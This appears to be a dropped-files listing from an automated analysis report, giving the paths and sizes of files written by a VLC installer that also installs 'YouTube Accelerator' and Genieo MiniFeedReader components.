C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdB04D.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnB03C.tmp (2019660 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)
C:\Windows\Temp\SBCDF5.tmp (44 bytes)
C:\Windows\Temp\SBC3AC3.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC15A5.tmp (44 bytes)
C:\Windows\Temp\SBC637.tmp (98 bytes)
C:\Windows\Temp\SBC1150.tmp (98 bytes)
C:\Windows\Temp\SBC1AF3.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBCFB26.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x_white.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack4.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\miniview.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_ui.js (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\buttonBg.png (141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitter_bird.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_data.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack1sm.png (769 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\GenieoPartnerWindow.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm1frame1sm.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieo_logo2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\red.gif (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\js\main.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_bg.jpg (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cluster_default1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\tpl\settings.tpl (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\button.png (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\notification.html (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\warming_up.gif (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\opera_extension.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif_big\img\notification_controls.png (441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_8.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\Preferences.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extOpera1.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\big_image_frame.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frameSm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_8sm.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_fr.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tryAgainButton.png (710 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\fr.css (211 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\miniview.html (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\page_arrows_blue.png (277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\genieo_slogan_inner_ru.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\heart.png (658 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\ServerConnector.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cmd_close_red.gif (840 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD2AA.tmp (82165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\genieoRss.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\notification.html (860 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\buttonSp.png (837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\partner_item_bg.gif (879 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\default_image.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\.project (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\set_full_view_btn.png (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\previewPublish.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\birthday.css (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\notification_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extSafariWin1.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\img\button.png (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\magazinePreview\title.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\prototype.jsonp.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\okCancelButton.png (734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ad_no_image.png (876 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\cluster_default.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\notification_popup_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\bummer.png (750 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac3.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\hotItemIcon.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\happy.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_6.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\social_icons.png (893 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\redSqSm.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extChromeMac1.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\twitterButton.png (955 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\h_bg.png (331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_ru.properties (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\attention.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\settings.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\favorite_site_mask.png (176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\aggregation.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\all-genieo-sp-pack.js (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\share_btn.png (625 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\bigHotItemIcon.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\message_note.png (696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\DataProcessor.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-overcast.png (975 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFirefoxMac1.png (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\page_arrows.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\ohBg.gif (879 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\layer.html (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\prog_bar_prog.gif (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\upper_border.gif (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-clear-night.png (961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\follow_facebook_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\splash_video_bg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\lang\field_ru.json (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\round_corners_5px.png (182 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sendFeedbackButton.jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_4.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\prog_bar_prog.gif (141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\css\ie8.css (745 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\item_bg.png (264 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\picFrames.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\anabel_application.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template1.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\slideshow.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\constants.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\share_btn.png (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\pagelet.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\browser_not_supported.html (125 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\smallGrey.gif (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\covers.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack2.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\footer_bg.png (121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\older_items_arrow.gif (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sidebar_text_ad_bg.png (564 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\arrow_down.gif (68 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\extFinishButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\analytics.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\itemsRotate.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1_.jpg (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\objectivehot_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\rssButton.png (580 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame.png (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template3sm.jpg (7192 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\hp_guard.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\grad.png (171 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\collage\template2.html (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\google_search_btn.png (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\sad.png (971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\miniview\login_facebook_btn.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\jquery.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\bug.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\json.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tack3sm.png (937 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\core\img\disabled_nav_next2.gif (90 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\logDbgLoadPhase.js (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\js\social_connector.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\weather-few-clouds-night.png (965 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\tw.gif (241 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\birthday\bg.jpg (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\x.gif (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\set_to_miniview.png (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\grey.gif (817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\notif\js\utils.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\message_heart.png (765 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\tm3frame_3.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\fbButton.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\share_popup_arrow.png (219 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\StartPage\img\new\personalization_meter_bg.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\shared\js\utils.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\MiniFeedReader\img\template1.jpg (784 bytes)
